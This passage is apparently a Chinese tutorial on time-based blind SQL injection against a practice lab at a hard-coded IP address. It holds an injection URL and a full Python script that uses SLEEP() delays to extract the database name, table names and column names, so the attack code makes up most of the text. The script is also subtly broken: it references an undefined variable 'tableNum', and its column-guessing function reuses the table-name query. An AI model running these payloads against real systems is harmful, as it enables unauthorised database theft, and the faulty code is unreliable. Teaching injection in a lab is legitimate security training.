http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+ 注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立 即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
1 import requests 2 3 ################################################################# 4 # http://43.247.91.228:84/Less-1是靶场地址 5 ################################################################# 6 7 url1 = "http://43.247.91.228:84/Less-1/?id=1' and if 8 (length(database())={_}, sleep(3), 0) --+" 9 10 url2 = "http://43.247.91.228:84/Less-1/?id=1' and if 11 (ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" 12 13 url3 = "http://43.247.91.228:84/Less-1/?id=1' and if 14 ((select count(*) from information_schema.tables 15 where table_schema={_})={__}, sleep(3), 0) --+" 16 17 url4 = "http://43.247.91.228:84/Less-1/?id=1' and if 18 ((ascii(substr((select group_concat(table_name) from 19 information_schema.tables where table_schema={_}), 20 {__},1)))={___}, sleep(3), 0) --+" 21 22 url5 = "http://43.247.91.228:84/Less-1/?id=1' and if 23 (ascii(substr((select group_concat(COLUMN_NAME) from 24 information_schema.COLUMNS where table_name = {_}), 25 {__}, 1))={___}, sleep(3), 0) --+" 26 27 ################################################################# 28 # 函数功能:猜解数据库名的长度 29 # 参数意义:n 长度范围 30 # 返回结果:成功:数据库名长度 31 # 失败:0 32 ################################################################# 33 def getLength(n): 34 for i in range(1, n + 1): 35 payload = url1.format( _ = i) 36 print (payload) 37 ans = requests.get(payload) 38 #响应时间大于等于3秒说明猜解正确 39 if (ans.elapsed.seconds >= 3): 40 return (i) 41 break 42 else: 43 continue 44 return (0) 45 46 47 48 ################################################################# 49 # 函数功能:猜解数据库名 50 # 参数意义:length 数据库名的长度 51 # 返回结果:成功:数据库名字符串 52 # 失败:空字符串 53 ################################################################# 54 def getName(length): 55 database = "" #数据库名初始化为空字符串 56 for i in range(1, length + 1): 57 for j in range(1, 128): 58 payload = url2.format( _ = i, __ = j) 59 print (payload) 60 ans = requests.get(payload) 61 #响应时间大于等于3秒说明猜解正确 62 if (ans.elapsed.seconds >= 3): 63 database += chr(j) 64 break 65 else: 66 continue 67 return (database) 68 69 70 ################################################################# 71 # 函数功能:猜解数据库中表的数量 72 # 参数意义:database 数据库名 73 # n 表的数量范围 74 # 返回结果:成功:表的数量 75 # 失败:0 76 ################################################################# 77 def getTablesNum(database, n): 78 for i in range(1, n + 1): 79 payload = url3.format( _ = " '"+ database + "'", __ = i) 80 print (payload) 81 ans = requests.get(payload) 82 if (ans.elapsed.seconds >= 3): 83 return (i) 84 break 85 else: 86 continue 87 return (0) 88 89 ################################################################# 90 # 函数功能:猜解表名 91 # 参数意义:database 数据库名 92 # nameLengthTotal 所有表名的字符数及 93 # 逗号分隔符数之和( 94 # 表名之间用逗号分隔) 95 # 返回结果:所有表名的list数组 96 ################################################################# 97 def getTablesName(database, nameLengthTotal): 98 tables = [] 99 table = "" 100 for i in range(1, nameLengthTotal + 1): 101 for j in range(1, 128): 102 payload = url4.format( _ = " '"+ database + "'", 103 __ = i, ___ = j) 104 print (payload) 105 ans = requests.get(payload) 106 if (ans.elapsed.seconds >= 3): 107 table += chr(j) 108 break 109 else: 110 continue 111 tb = table.split(",") 112 for t in tb: 113 tables.append(t) 114 return (tables) 115 116 117 118 ################################################################# 119 # 函数功能:猜解某个表的字段名 120 # 参数意义:table 表名 121 # attributeLengthTotal 全部字段名的字符数及用于分 122 # 割的逗号数之和(字段名之间 123 # 用逗号分割)的范围 124 # 返回结果:字段名字符串list数组 125 ################################################################# 126 def getTableAttributes(table, attributeLengthTotal): 127 attributes = [] 128 attribute = "" 129 for i in range(1, attributeLengthTotal + 1): 130 for j in range(1, 128): 131 payload = url4.format( _ = " '"+ table + "'", 132 __ = i, ___ = j) 133 print (payload) 134 ans = requests.get(payload) 135 if (ans.elapsed.seconds >= 3): 136 attribute += chr(j) 137 break 138 else: 139 continue 140 ab = attribute.split(",") 141 for a in ab: 142 attributes.append(a) 143 return attributes 144 145 146 147 ################################################################# 148 # 149 # 主函数 150 # 151 ################################################################# 152 if __name__=="__main__": 153 #猜解数据库名的长度 154 length = getLength(10) 155 #猜解数据库名 156 database = getName(length) 157 #猜解表的数量 158 tablesNum = getTablesNum(database, 10) 159 #猜解表名 160 tables = getTablesName(database, tableNum*8) 161 print ("数据库名的长度为:" + str(length)) 162 print ("数据库名为:" + database) 163 print ("数据库中表的数量为:" + str(tablesNum)) 164 print ("数据库中的表如下:") 165 for table in tables: 166 print (table) 167 print ("各个表的字段名如下:") 168 for table in tables: 169 print (table) 170 #猜解各个表的字段名 171 attributes = getTableAttributes(table, 100) 172 for attribute in attributes: 173 print (attribute)